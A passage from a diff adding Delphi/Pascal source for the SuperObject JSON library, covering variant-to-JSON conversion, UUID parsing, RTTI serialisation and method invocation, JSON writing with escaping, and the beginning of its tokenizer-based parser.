: Add(TSuperObject.Create(TVarRec(Args[j]).VBoolean)); + vtChar : Add(TSuperObject.Create(SOString(TVarRec(Args[j]).VChar))); + vtWideChar: Add(TSuperObject.Create(SOChar(TVarRec(Args[j]).VWideChar))); + vtExtended: Add(TSuperObject.Create(TVarRec(Args[j]).VExtended^)); + vtCurrency: Add(TSuperObject.CreateCurrency(TVarRec(Args[j]).VCurrency^)); + vtString : Add(TSuperObject.Create(SOString(TVarRec(Args[j]).VString^))); + vtPChar : Add(TSuperObject.Create(SOString(TVarRec(Args[j]).VPChar^))); + vtAnsiString: Add(TSuperObject.Create(SOString(AnsiString(TVarRec(Args[j]).VAnsiString)))); + vtWideString: Add(TSuperObject.Create(SOString(PWideChar(TVarRec(Args[j]).VWideString)))); + vtInterface: + if TVarRec(Args[j]).VInterface = nil then + Add(nil) else + if IInterface(TVarRec(Args[j]).VInterface).QueryInterface(ISuperObject, intf) = 0 then + Add(ISuperObject(intf)) else + Add(nil); + vtPointer : + if TVarRec(Args[j]).VPointer = nil then + Add(nil) else + Add(TSuperObject.Create(PtrInt(TVarRec(Args[j]).VPointer))); + vtVariant: + Add(SO(TVarRec(Args[j]).VVariant^)); + vtObject: + if TVarRec(Args[j]).VPointer = nil then + Add(nil) else + Add(TSuperObject.Create(PtrInt(TVarRec(Args[j]).VPointer))); + vtClass: + if TVarRec(Args[j]).VPointer = nil then + Add(nil) else + Add(TSuperObject.Create(PtrInt(TVarRec(Args[j]).VPointer))); +{$if declared(vtUnicodeString)} + vtUnicodeString: + Add(TSuperObject.Create(SOString(string(TVarRec(Args[j]).VUnicodeString)))); +{$ifend} + else + assert(false); + end; +end; + +function SO(const Args: array of const): ISuperObject; overload; +var + j: Integer; + arr: ISuperObject; +begin + Result := TSuperObject.Create(stObject); + arr := SA(Args); + with arr.AsArray do + for j := 0 to (Length div 2) - 1 do + Result.AsObject.PutO(O[j*2].AsString, O[(j*2) + 1]); +end; + +function SO(const value: Variant): ISuperObject; overload; +begin + with TVarData(value) do + case VType of + varNull: Result := nil; + varEmpty: Result := nil; + varSmallInt: Result := TSuperObject.Create(VSmallInt); + varInteger: Result := TSuperObject.Create(VInteger); + varSingle: Result := TSuperObject.Create(VSingle); + varDouble: Result := TSuperObject.Create(VDouble); + varCurrency: Result := TSuperObject.CreateCurrency(VCurrency); + // varDate: Result := TSuperObject.Create(DelphiToJavaDateTime(vDate)); + varOleStr: Result := TSuperObject.Create(SOString(VOleStr)); + varBoolean: Result := TSuperObject.Create(VBoolean); + varShortInt: Result := TSuperObject.Create(VShortInt); + varByte: Result := TSuperObject.Create(VByte); + varWord: Result := TSuperObject.Create(VWord); + varLongWord: Result := TSuperObject.Create(VLongWord); + varInt64: Result := TSuperObject.Create(VInt64); + varString: Result := TSuperObject.Create(SOString(AnsiString(VString))); +{$if declared(varUString)} + {$IFDEF FPC} + varUString: Result := TSuperObject.Create(SOString(UnicodeString(VString))); + {$ELSE} + varUString: Result := TSuperObject.Create(SOString(string(VUString))); + {$ENDIF} +{$ifend} + else + raise Exception.CreateFmt('Unsuported variant data type: %d', [VType]); + end; +end; + +function ObjectIsError(obj: TSuperObject): boolean; +begin + Result := PtrUInt(obj) > PtrUInt(-4000); +end; + +function ObjectIsType(const obj: ISuperObject; typ: TSuperType): boolean; +begin + if obj <> nil then + Result := typ = obj.DataType else + Result := typ = stNull; +end; + +function ObjectGetType(const obj: ISuperObject): TSuperType; +begin + if obj <> nil then + Result := obj.DataType else + Result := stNull; +end; + +function ObjectIsNull(const obj: ISuperObject): Boolean; +begin + Result := ObjectIsType(obj, stNull); +end; + +function ObjectFindFirst(const obj: ISuperObject; var F: TSuperObjectIter): boolean; +var + i: TSuperAvlEntry; +begin + if ObjectIsType(obj, stObject) then + begin + F.Ite := TSuperAvlIterator.Create(obj.AsObject); + F.Ite.First; + i := F.Ite.GetIter; + if i <> nil then + begin + F.key := i.Name; + F.val := i.Value; + Result := True; + end else + begin + FreeAndNil(F.Ite); + Result := False; + end; + end else + Result := False; +end; + +function ObjectFindNext(var F: TSuperObjectIter): boolean; +var + i: TSuperAvlEntry; +begin + if Assigned(F.Ite) then + begin + F.Ite.Next; + i := F.Ite.GetIter; + if i <> nil then + begin + F.key := i.FName; + F.val := i.Value; + Result := True; + end else + Result := False; + end + else + Result := False; +end; + +procedure ObjectFindClose(var F: TSuperObjectIter); +begin + if Assigned(F.Ite) then + FreeAndNil(F.Ite); + F.val := nil; +end; + +function UuidFromString(p: PSOChar; Uuid: PGUID): Boolean; +const + hex2bin: array[48..102] of Byte = ( + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 0, 0, 0, 0, 0, + 0,10,11,12,13,14,15, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0,10,11,12,13,14,15); +type + TState = (stEatSpaces, stStart, stHEX, stBracket, stEnd); + TUUID = record + case byte of + 0: (guid: TGUID); + 1: (bytes: array[0..15] of Byte); + 2: (words: array[0..7] of Word); + 3: (ints: array[0..3] of Cardinal); + 4: (i64s: array[0..1] of UInt64); + end; + + function ishex(const c: SOChar): Boolean; {$IFDEF HAVE_INLINE} inline;{$ENDIF} + begin + result := (c < #256) and (AnsiChar(c) in ['0'..'9', 'a'..'z', 'A'..'Z']) + end; +var + pos: Byte; + state, saved: TState; + bracket, separator: Boolean; +label + redo; +begin + FillChar(Uuid^, SizeOf(TGUID), 0); + saved := stStart; + state := stEatSpaces; + bracket := false; + separator := false; + pos := 0; + while true do +redo: + case state of + stEatSpaces: + begin + while true do + case p^ of + ' ', #13, #10, #9: inc(p); + else + state := saved; + goto redo; + end; + end; + stStart: + case p^ of + '{': + begin + bracket := true; + inc(p); + state := stEatSpaces; + saved := stHEX; + pos := 0; + end; + else + state := stHEX; + end; + stHEX: + case pos of + 0..7: + if ishex(p^) then + begin + Uuid^.D1 := (Uuid^.D1 * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 8: + if (p^ = '-') then + begin + separator := true; + inc(p); + inc(pos) + end else + inc(pos); + 13,18,23: + if separator then + begin + if p^ <> '-' then + begin + Result := False; + Exit; + end; + inc(p); + inc(pos); + end else + inc(pos); + 9..12: + if ishex(p^) then + begin + TUUID(Uuid^).words[2] := (TUUID(Uuid^).words[2] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 14..17: + if ishex(p^) then + begin + TUUID(Uuid^).words[3] := (TUUID(Uuid^).words[3] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 19..20: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[8] := (TUUID(Uuid^).bytes[8] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 21..22: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[9] := (TUUID(Uuid^).bytes[9] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 24..25: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[10] := (TUUID(Uuid^).bytes[10] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 26..27: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[11] := (TUUID(Uuid^).bytes[11] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 28..29: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[12] := (TUUID(Uuid^).bytes[12] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 30..31: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[13] := (TUUID(Uuid^).bytes[13] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 32..33: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[14] := (TUUID(Uuid^).bytes[14] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 34..35: + if ishex(p^) then + begin + TUUID(Uuid^).bytes[15] := (TUUID(Uuid^).bytes[15] * 16) + hex2bin[Ord(p^)]; + inc(p); + inc(pos); + end else + begin + Result := False; + Exit; + end; + 36: if bracket then + begin + state := stEatSpaces; + saved := stBracket; + end else + begin + state := stEatSpaces; + saved := stEnd; + end; + end; + stBracket: + begin + if p^ <> '}' then + begin + Result := False; + Exit; + end; + inc(p); + state := stEatSpaces; + saved := stEnd; + end; + stEnd: + begin + if p^ <> #0 then + begin + Result := False; + Exit; + end; + Break; + end; + end; + Result := True; +end; + +function UUIDToString(const g: TGUID): SOString; +begin + Result := format('%.8x%.4x%.4x%.2x%.2x%.2x%.2x%.2x%.2x%.2x%.2x', + [g.D1, g.D2, g.D3, + g.D4[0], g.D4[1], g.D4[2], + g.D4[3], g.D4[4], g.D4[5], + g.D4[6], g.D4[7]]); +end; + +function StringToUUID(const str: SOString; var g: TGUID): Boolean; +begin + Result := UuidFromString(PSOChar(str), @g); +end; + +{$IFDEF HAVE_RTTI} + +function serialtoboolean(ctx: TSuperRttiContext; var value: TValue; const index: ISuperObject): ISuperObject; +begin + Result := TSuperObject.Create(TValueData(value).FAsSLong <> 0); +end; + +function serialtodatetime(ctx: TSuperRttiContext; var value: TValue; const index: ISuperObject): ISuperObject; +begin + Result := TSuperObject.Create(DelphiToJavaDateTime(TValueData(value).FAsDouble)); +end; + +function serialtoguid(ctx: TSuperRttiContext; var value: TValue; const index: ISuperObject): ISuperObject; +var + g: TGUID; +begin + value.ExtractRawData(@g); + Result := TSuperObject.Create( + format('%.8x-%.4x-%.4x-%.2x%.2x-%.2x%.2x%.2x%.2x%.2x%.2x', + [g.D1, g.D2, g.D3, + g.D4[0], g.D4[1], g.D4[2], + g.D4[3], g.D4[4], g.D4[5], + g.D4[6], g.D4[7]]) + ); +end; + +function serialfromboolean(ctx: TSuperRttiContext; const obj: ISuperObject; var Value: TValue): Boolean; +var + o: ISuperObject; +begin + case ObjectGetType(obj) of + stBoolean: + begin + TValueData(Value).FAsSLong := obj.AsInteger; + Result := True; + end; + stInt: + begin + TValueData(Value).FAsSLong := ord(obj.AsInteger <> 0); + Result := True; + end; + stString: + begin + o := SO(obj.AsString); + if not ObjectIsType(o, stString) then + Result := serialfromboolean(ctx, SO(obj.AsString), Value) else + Result := False; + end; + else + Result := False; + end; +end; + +function serialfromdatetime(ctx: TSuperRttiContext; const obj: ISuperObject; var Value: TValue): Boolean; +var + dt: TDateTime; + i: Int64; +begin + case ObjectGetType(obj) of + stInt: + begin + TValueData(Value).FAsDouble := JavaToDelphiDateTime(obj.AsInteger); + Result := True; + end; + stString: + begin + if ISO8601DateToJavaDateTime(obj.AsString, i) then + begin + TValueData(Value).FAsDouble := JavaToDelphiDateTime(i); + Result := True; + end else + if TryStrToDateTime(obj.AsString, dt) then + begin + TValueData(Value).FAsDouble := dt; + Result := True; + end else + Result := False; + end; + else + Result := False; + end; +end; + +function serialfromguid(ctx: TSuperRttiContext; const obj: ISuperObject; var Value: TValue): Boolean; +begin + case ObjectGetType(obj) of + stNull: + begin + FillChar(Value.GetReferenceToRawData^, SizeOf(TGUID), 0); + Result := True; + end; + stString: Result := UuidFromString(PSOChar(obj.AsString), Value.GetReferenceToRawData); + else + Result := False; + end; +end; + +function SOInvoke(const obj: TValue; const method: string; const params: ISuperObject; ctx: TSuperRttiContext): ISuperObject; overload; +var + owned: Boolean; +begin + if ctx = nil then + begin + ctx := TSuperRttiContext.Create; + owned := True; + end else + owned := False; + try + if TrySOInvoke(ctx, obj, method, params, Result) <> irSuccess then + raise Exception.Create('Invalid method call'); + finally + if owned then + ctx.Free; + end; +end; + +function SOInvoke(const obj: TValue; const method: string; const params: string; ctx: TSuperRttiContext): ISuperObject; overload; +begin + Result := SOInvoke(obj, method, so(params), ctx) +end; + +function TrySOInvoke(var ctx: TSuperRttiContext; const obj: TValue; + const method: string; const params: ISuperObject; + var Return: ISuperObject): TSuperInvokeResult; +var + t: TRttiInstanceType; + m: TRttiMethod; + a: TArray<TValue>; + ps: TArray<TRttiParameter>; + v: TValue; + index: ISuperObject; + + function GetParams: Boolean; + var + i: Integer; + begin + case ObjectGetType(params) of + stArray: + for i := 0 to Length(ps) - 1 do + if (pfOut in ps[i].Flags) then + TValue.Make(nil, ps[i].ParamType.Handle, a[i]) else + if not ctx.FromJson(ps[i].ParamType.Handle, params.AsArray[i], a[i]) then + Exit(False); + stObject: + for i := 0 to Length(ps) - 1 do + if (pfOut in ps[i].Flags) then + TValue.Make(nil, ps[i].ParamType.Handle, a[i]) else + if not ctx.FromJson(ps[i].ParamType.Handle, params.AsObject[ps[i].Name], a[i]) then + Exit(False); + stNull: ; + else + Exit(False); + end; + Result := True; + end; + + procedure SetParams; + var + i: Integer; + begin + case ObjectGetType(params) of + stArray: + for i := 0 to Length(ps) - 1 do + if (ps[i].Flags * [pfVar, pfOut]) <> [] then + params.AsArray[i] := ctx.ToJson(a[i], index); + stObject: + for i := 0 to Length(ps) - 1 do + if (ps[i].Flags * [pfVar, pfOut]) <> [] then + params.AsObject[ps[i].Name] := ctx.ToJson(a[i], index); + end; + end; + +begin + Result := irSuccess; + index := SO; + case obj.Kind of + tkClass: + begin + t := TRttiInstanceType(ctx.Context.GetType(obj.AsObject.ClassType)); + m := t.GetMethod(method); + if m = nil then Exit(irMethothodError); + ps := m.GetParameters; + SetLength(a, Length(ps)); + if not GetParams then Exit(irParamError); + if m.IsClassMethod then + begin + v := m.Invoke(obj.AsObject.ClassType, a); + Return := ctx.ToJson(v, index); + SetParams; + end else + begin + v := m.Invoke(obj, a); + Return := ctx.ToJson(v, index); + SetParams; + end; + end; + tkClassRef: + begin + t := TRttiInstanceType(ctx.Context.GetType(obj.AsClass)); + m := t.GetMethod(method); + if m = nil then Exit(irMethothodError); + ps := m.GetParameters; + SetLength(a, Length(ps)); + + if not GetParams then Exit(irParamError); + if m.IsClassMethod then + begin + v := m.Invoke(obj, a); + Return := ctx.ToJson(v, index); + SetParams; + end else + Exit(irError); + end; + else + Exit(irError); + end; +end; + +{$ENDIF} + +{ TSuperEnumerator } + +constructor TSuperEnumerator.Create(const obj: ISuperObject); +begin + FObj := obj; + FCount := -1; + if ObjectIsType(FObj, stObject) then + FObjEnum := FObj.AsObject.GetEnumerator else + FObjEnum := nil; +end; + +destructor TSuperEnumerator.Destroy; +begin + if FObjEnum <> nil then + FObjEnum.Free; +end; + +function TSuperEnumerator.MoveNext: Boolean; +begin + case ObjectGetType(FObj) of + stObject: Result := FObjEnum.MoveNext; + stArray: + begin + inc(FCount); + if FCount < FObj.AsArray.Length then + Result := True else + Result := False; + end; + else + Result := false; + end; +end; + +function TSuperEnumerator.GetCurrent: ISuperObject; +begin + case ObjectGetType(FObj) of + stObject: Result := FObjEnum.Current.Value; + stArray: Result := FObj.AsArray.GetO(FCount); + else + Result := FObj; + end; +end; + +{ TSuperObject } + +constructor TSuperObject.Create(jt: TSuperType); +begin + inherited Create; +{$IFDEF DEBUG} + InterlockedIncrement(debugcount); +{$ENDIF} + + FProcessing := false; + FDataPtr := nil; + FDataType := jt; + case FDataType of + stObject: FO.c_object := TSuperTableString.Create; + stArray: FO.c_array := TSuperArray.Create; + stString: FOString := ''; + else + FO.c_object := nil; + end; +end; + +constructor TSuperObject.Create(b: boolean); +begin + Create(stBoolean); + FO.c_boolean := b; +end; + +constructor TSuperObject.Create(i: SuperInt); +begin + Create(stInt); + FO.c_int := i; +end; + +constructor TSuperObject.Create(d: double); +begin + Create(stDouble); + FO.c_double := d; +end; + +constructor TSuperObject.CreateCurrency(c: Currency); +begin + Create(stCurrency); + FO.c_currency := c; +end; + +destructor TSuperObject.Destroy; +begin +{$IFDEF DEBUG} + InterlockedDecrement(debugcount); +{$ENDIF} + case FDataType of + stObject: FO.c_object.Free; + stArray: FO.c_array.Free; + end; + inherited; +end; + +function TSuperObject.Write(writer: TSuperWriter; indent: boolean; escape: boolean; level: integer): Integer; +function DoEscape(str: PSOChar; len: Integer): Integer; +var + pos, start_offset: Integer; + c: SOChar; + buf: array[0..5] of SOChar; +type + TByteChar = record + case integer of + 0: (a, b: Byte); + 1: (c: WideChar); + end; + begin + if str = nil then + begin + Result := 0; + exit; + end; + pos := 0; start_offset := 0; + with writer do + while pos < len do + begin + c := str[pos]; + case c of + #8,#9,#10,#12,#13,'"','\','/': + begin + if(pos - start_offset > 0) then + Append(str + start_offset, pos - start_offset); + + if(c = #8) then Append(ESC_BS, 2) + else if (c = #9) then Append(ESC_TAB, 2) + else if (c = #10) then Append(ESC_LF, 2) + else if (c = #12) then Append(ESC_FF, 2) + else if (c = #13) then Append(ESC_CR, 2) + else if (c = '"') then Append(ESC_QUOT, 2) + else if (c = '\') then Append(ESC_SL, 2) + else if (c = '/') then Append(ESC_SR, 2); + inc(pos); + start_offset := pos; + end; + else + if (SOIChar(c) > 255) then + begin + if(pos - start_offset > 0) then + Append(str + start_offset, pos - start_offset); + buf[0] := '\'; + buf[1] := 'u'; + buf[2] := super_hex_chars[TByteChar(c).b shr 4]; + buf[3] := super_hex_chars[TByteChar(c).b and $f]; + buf[4] := super_hex_chars[TByteChar(c).a shr 4]; + buf[5] := super_hex_chars[TByteChar(c).a and $f]; + Append(@buf, 6); + inc(pos); + start_offset := pos; + end else + if (c < #32) or (c > #127) then + begin + if(pos - start_offset > 0) then + Append(str + start_offset, pos - start_offset); + buf[0] := '\'; + buf[1] := 'u'; + buf[2] := '0'; + buf[3] := '0'; + buf[4] := super_hex_chars[ord(c) shr 4]; + buf[5] := super_hex_chars[ord(c) and $f]; + Append(buf, 6); + inc(pos); + start_offset := pos; + end else + inc(pos); + end; + end; + if(pos - start_offset > 0) then + writer.Append(str + start_offset, pos - start_offset); + Result := 0; + end; + +function DoMinimalEscape(str: PSOChar; len: Integer): Integer; +var + pos, start_offset: Integer; + c: SOChar; +type + TByteChar = record + case integer of + 0: (a, b: Byte); + 1: (c: WideChar); + end; + begin + if str = nil then + begin + Result := 0; + exit; + end; + pos := 0; start_offset := 0; + with writer do + while pos < len do + begin + c := str[pos]; + case c of + #0: + begin + if(pos - start_offset > 0) then + Append(str + start_offset, pos - start_offset); + Append(ESC_ZERO, 6); + inc(pos); + start_offset := pos; + end; + '"': + begin + if(pos - start_offset > 0) then + Append(str + start_offset, pos - start_offset); + Append(ESC_QUOT, 2); + inc(pos); + start_offset := pos; + end; + '\': + begin + if(pos - start_offset > 0) then + Append(str + start_offset, pos - start_offset); + Append(ESC_SL, 2); + inc(pos); + start_offset := pos; + end; + else + inc(pos); + end; + end; + if(pos - start_offset > 0) then + writer.Append(str + start_offset, pos - start_offset); + Result := 0; + end; + + + procedure _indent(i: shortint; r: boolean); + begin + inc(level, i); + if r then + with writer do + begin +{$IFDEF MSWINDOWS} + Append(TOK_CRLF, 2); +{$ELSE} + Append(TOK_LF, 1); +{$ENDIF} + for i := 0 to level - 1 do + Append(TOK_SP, 1); + end; + end; +var + k,j: Integer; + iter: TSuperObjectIter; + st: AnsiString; + val: ISuperObject; +const + ENDSTR_A: PSOChar = '": '; + ENDSTR_B: PSOChar = '":'; +begin + + if FProcessing then + begin + Result := writer.Append(TOK_NULL, 4); + Exit; + end; + + FProcessing := true; + with writer do + try + case FDataType of + stObject: + if FO.c_object.FCount > 0 then + begin + k := 0; + Append(TOK_CBL, 1); + if indent then _indent(1, false); + if ObjectFindFirst(Self, iter) then + repeat + {$IFDEF SUPER_METHOD} + if (iter.val = nil) or not ObjectIsType(iter.val, stMethod) then + begin + {$ENDIF} + if (iter.val = nil) or (not iter.val.Processing) then + begin + if(k <> 0) then + Append(TOK_COM, 1); + if indent then _indent(0, true); + Append(TOK_DQT, 1); + if escape then + doEscape(PSOChar(iter.key), Length(iter.key)) else + DoMinimalEscape(PSOChar(iter.key), Length(iter.key)); + if indent then + Append(ENDSTR_A, 3) else + Append(ENDSTR_B, 2); + if(iter.val = nil) then + Append(TOK_NULL, 4) else + iter.val.write(writer, indent, escape, level); + inc(k); + end; + {$IFDEF SUPER_METHOD} + end; + {$ENDIF} + until not ObjectFindNext(iter); + ObjectFindClose(iter); + if indent then _indent(-1, true); + Result := Append(TOK_CBR, 1); + end else + Result := Append(TOK_OBJ, 2); + stBoolean: + begin + if (FO.c_boolean) then + Result := Append(TOK_TRUE, 4) else + Result := Append(TOK_FALSE, 5); + end; + stInt: + begin + str(FO.c_int, st); + Result := Append(PSOChar(SOString(st))); + end; + stDouble: + Result := Append(PSOChar(FloatToJson(FO.c_double))); + stCurrency: + begin + Result := Append(PSOChar(CurrToJson(FO.c_currency))); + end; + stString: + begin + Append(TOK_DQT, 1); + if escape then + doEscape(PSOChar(FOString), Length(FOString)) else + DoMinimalEscape(PSOChar(FOString), Length(FOString)); + Append(TOK_DQT, 1); + Result := 0; + end; + stArray: + if FO.c_array.FLength > 0 then + begin + Append(TOK_ARL, 1); + if indent then _indent(1, true); + k := 0; + j := 0; + while k < FO.c_array.FLength do + begin + + val := FO.c_array.GetO(k); + {$IFDEF SUPER_METHOD} + if not ObjectIsType(val, stMethod) then + begin + {$ENDIF} + if (val = nil) or (not val.Processing) then + begin + if (j <> 0) then + Append(TOK_COM, 1); + if(val = nil) then + Append(TOK_NULL, 4) else + val.write(writer, indent, escape, level); + inc(j); + end; + {$IFDEF SUPER_METHOD} + end; + {$ENDIF} + inc(k); + end; + if indent then _indent(-1, false); + Result := Append(TOK_ARR, 1); + end else + Result := Append(TOK_ARRAY, 2); + stNull: + Result := Append(TOK_NULL, 4); + else + Result := 0; + end; + finally + FProcessing := false; + end; +end; + +function TSuperObject.IsType(AType: TSuperType): boolean; +begin + Result := AType = FDataType; +end; + +function TSuperObject.AsBoolean: boolean; +begin + case FDataType of + stBoolean: Result := FO.c_boolean; + stInt: Result := (FO.c_int <> 0); + stDouble: Result := (FO.c_double <> 0); + stCurrency: Result := (FO.c_currency <> 0); + stString: Result := (Length(FOString) <> 0); + stNull: Result := False; + else + Result := True; + end; +end; + +function TSuperObject.AsInteger: SuperInt; +var + code: integer; + cint: SuperInt; +begin + case FDataType of + stInt: Result := FO.c_int; + stDouble: Result := round(FO.c_double); + stCurrency: Result := round(FO.c_currency); + stBoolean: Result := ord(FO.c_boolean); + stString: + begin + Val(FOString, cint, code); + if code = 0 then + Result := cint else + Result := 0; + end; + else + Result := 0; + end; +end; + +function TSuperObject.AsDouble: Double; +var + code: integer; + cdouble: double; +begin + case FDataType of + stDouble: Result := FO.c_double; + stCurrency: Result := FO.c_currency; + stInt: Result := FO.c_int; + stBoolean: Result := ord(FO.c_boolean); + stString: + begin + Val(FOString, cdouble, code); + if code = 0 then + Result := cdouble else + Result := 0.0; + end; + else + Result := 0.0; + end; +end; + +function TSuperObject.AsCurrency: Currency; +var + code: integer; + cdouble: double; +begin + case FDataType of + stDouble: Result := FO.c_double; + stCurrency: Result := FO.c_currency; + stInt: Result := FO.c_int; + stBoolean: Result := ord(FO.c_boolean); + stString: + begin + Val(FOString, cdouble, code); + if code = 0 then + Result := cdouble else + Result := 0.0; + end; + else + Result := 0.0; + end; +end; + +function TSuperObject.AsString: SOString; +begin + case FDataType of + stString: Result := FOString; + stNull: Result := ''; + else + Result := AsJSon(false, false); + end; +end; + +function TSuperObject.GetEnumerator: TSuperEnumerator; +begin + Result := TSuperEnumerator.Create(Self); +end; + +procedure TSuperObject.AfterConstruction; +begin + InterlockedDecrement(FRefCount); +end; + +procedure TSuperObject.BeforeDestruction; +begin + if RefCount <> 0 then + raise Exception.Create('Invalid pointer'); +end; + +function TSuperObject.AsArray: TSuperArray; +begin + if FDataType = stArray then + Result := FO.c_array else + Result := nil; +end; + +function TSuperObject.AsObject: TSuperTableString; +begin + if FDataType = stObject then + Result := FO.c_object else + Result := nil; +end; + +function TSuperObject.AsJSon(indent, escape: boolean): SOString; +var + pb: TSuperWriterString; +begin + pb := TSuperWriterString.Create; + try + if(Write(pb, indent, escape, 0) < 0) then + begin + Result := ''; + Exit; + end; + if pb.FBPos > 0 then + Result := pb.FBuf else + Result := ''; + finally + pb.Free; + end; +end; + +class function TSuperObject.ParseString(s: PSOChar; strict: Boolean; partial: boolean; const this: ISuperObject; + options: TSuperFindOptions; const put: ISuperObject; dt: TSuperType): ISuperObject; +var + tok: TSuperTokenizer; + obj: ISuperObject; +begin + tok := TSuperTokenizer.Create; + obj := ParseEx(tok, s, -1, strict, this, options, put, dt); + if(tok.err <> teSuccess) or (not partial and (s[tok.char_offset] <> #0)) then + Result := nil else + Result := obj; + tok.Free; +end; + +class function TSuperObject.ParseStream(stream: TStream; strict: Boolean; + partial: boolean; const this: ISuperObject; options: TSuperFindOptions; + const put: ISuperObject; dt: TSuperType): ISuperObject; +const + BUFFER_SIZE = 1024; +var + tok: TSuperTokenizer; + buffera: array[0..BUFFER_SIZE-1] of AnsiChar; + bufferw: array[0..BUFFER_SIZE-1] of SOChar; + bom: array[0..1] of byte; + unicode: boolean; + j, size: Integer; + st: string; +begin + st := ''; + tok := TSuperTokenizer.Create; + + if (stream.Read(bom, sizeof(bom)) = 2) and (bom[0] = $FF) and (bom[1] = $FE) then + begin + unicode := true; + size := stream.Read(bufferw, BUFFER_SIZE * SizeOf(SoChar)) div SizeOf(SoChar); + end else + begin + unicode := false; + stream.Seek(0, soFromBeginning); + size := stream.Read(buffera, BUFFER_SIZE); + end; + + while size > 0 do + begin + if not unicode then + for j := 0 to size - 1 do + bufferw[j] := SOChar(buffera[j]); + ParseEx(tok, bufferw, size, strict, this, options, put, dt); + + if tok.err = teContinue then + begin + if not unicode then + size := stream.Read(buffera, BUFFER_SIZE) else + size := stream.Read(bufferw, BUFFER_SIZE * SizeOf(SoChar)) div SizeOf(SoChar); + end else + Break; + end; + if(tok.err <> teSuccess) or (not partial and (st[tok.char_offset] <> #0)) then + Result := nil else + Result := tok.stack[tok.depth].current; + tok.Free; +end; + +class function TSuperObject.ParseFile(const FileName: string; strict: Boolean; + partial: boolean; const this: ISuperObject; options: TSuperFindOptions; + const put: ISuperObject; dt: TSuperType): ISuperObject; +var + stream: TFileStream; +begin + stream := TFileStream.Create(FileName, fmOpenRead, fmShareDenyWrite); + try + Result := ParseStream(stream, strict, partial, this, options, put, dt); + finally + stream.Free; + end; +end; + +class function TSuperObject.ParseEx(tok: TSuperTokenizer; str: PSOChar; len: integer; + strict: Boolean; const this: ISuperObject; options: TSuperFindOptions; const put: ISuperObject; dt: TSuperType): ISuperObject; + +const + spaces = [#32,#8,#9,#10,#12,#13]; + delimiters = ['"', '.', '[', ']', '{', '}', '(', ')', ',', ':', #0]; + reserved = delimiters + spaces; + path = ['a'..'z', 'A'..'Z', '.', '_']; + + function hexdigit(x: SOChar): byte; {$IFDEF HAVE_INLINE} inline;{$ENDIF} + begin + if x <= '9' then + Result := byte(x) - byte('0') else + Result := (byte(x) and 7) + 9; + end; + function min(v1, v2: integer): integer;{$IFDEF HAVE_INLINE} inline;{$ENDIF} + begin if v1 < v2 then result := v1 else result := v2 end; + +var + obj: ISuperObject; + v: SOChar; +{$IFDEF SUPER_METHOD} + sm: TSuperMethod; +{$ENDIF} + numi: SuperInt; + numd: Double; + code: integer; + TokRec: PSuperTokenerSrec; + evalstack: integer; + p: PSOChar; + + function IsEndDelimiter(v: AnsiChar): Boolean; + begin + if tok.depth > 0 then + case tok.stack[tok.depth - 1].state of + tsArrayAdd: Result := v in [',', ']', #0]; + tsObjectValueAdd: Result := v in [',', '}', #0]; + else + Result := v = #0; + end else + Result := v = #0; + end; + +label out, redo_char; +begin + evalstack := 0; + obj := nil; + Result := nil; + TokRec := @tok.stack[tok.depth]; + + tok.char_offset := 0; + tok.err := teSuccess; + + repeat + if (tok.char_offset = len) then + begin + if (tok.depth = 0) and (TokRec^.state = tsEatws) and + (TokRec^.saved_state = tsFinish) then + tok.err := teSuccess else + tok.err := teContinue; + goto out; + end; + + v := str^; + + case v of + #10: + begin + inc(tok.line); + tok.col := 0; + end; + #9: inc(tok.col, 4); + else + inc(tok.col); + end; + +redo_char: + case TokRec^.state of + tsEatws: + begin + if (SOIChar(v) < 256) and (AnsiChar(v) in spaces) then {nop} else + if (v = '/') then + begin + tok.pb.Reset; + tok.pb.Append(@v, 1); + TokRec^.state := tsCommentStart; + end else begin + TokRec^.state := TokRec^.saved_state; + goto redo_char; + end + end; + + tsStart: + case v of + '"', + '''': + begin + TokRec^.state := tsString; + tok.pb.Reset; + tok.quote_char := v; + end; + '-': + begin + TokRec^.state := tsNumber; + tok.pb.Reset; + tok.is_double := 0; + tok.floatcount := -1; + goto redo_char; + end; + + '0'..'9': + begin + if (tok.depth = 0) then + case ObjectGetType(this) of + stObject: + begin + TokRec^.state := tsIdentifier; + TokRec^.current := this; + goto redo_char; + end; + end; + TokRec^.state := tsNumber; + tok.pb.Reset; + tok.is_double := 0; + tok.floatcount := -1; + goto redo_char; + end; + '{': + begin + TokRec^.state := tsEatws; + TokRec^.saved_state := tsObjectFieldStart; + TokRec^.current := TSuperObject.Create(stObject); + end; + '[': + begin + TokRec^.state := tsEatws; + TokRec^.saved_state := tsArray; + TokRec^.current := TSuperObject.Create(stArray); + end; +{$IFDEF SUPER_METHOD} + '(': + begin + if (tok.depth = 0) and ObjectIsType(this, stMethod) then + begin + TokRec^.current := this; + TokRec^.state := tsParamValue; + end; + end; +{$ENDIF} + 'N', + 'n': + begin + TokRec^.state := tsNull; + tok.pb.Reset; + tok.st_pos := 0; + goto redo_char; + end; + 'T', + 't', + 'F', + 'f': + begin + 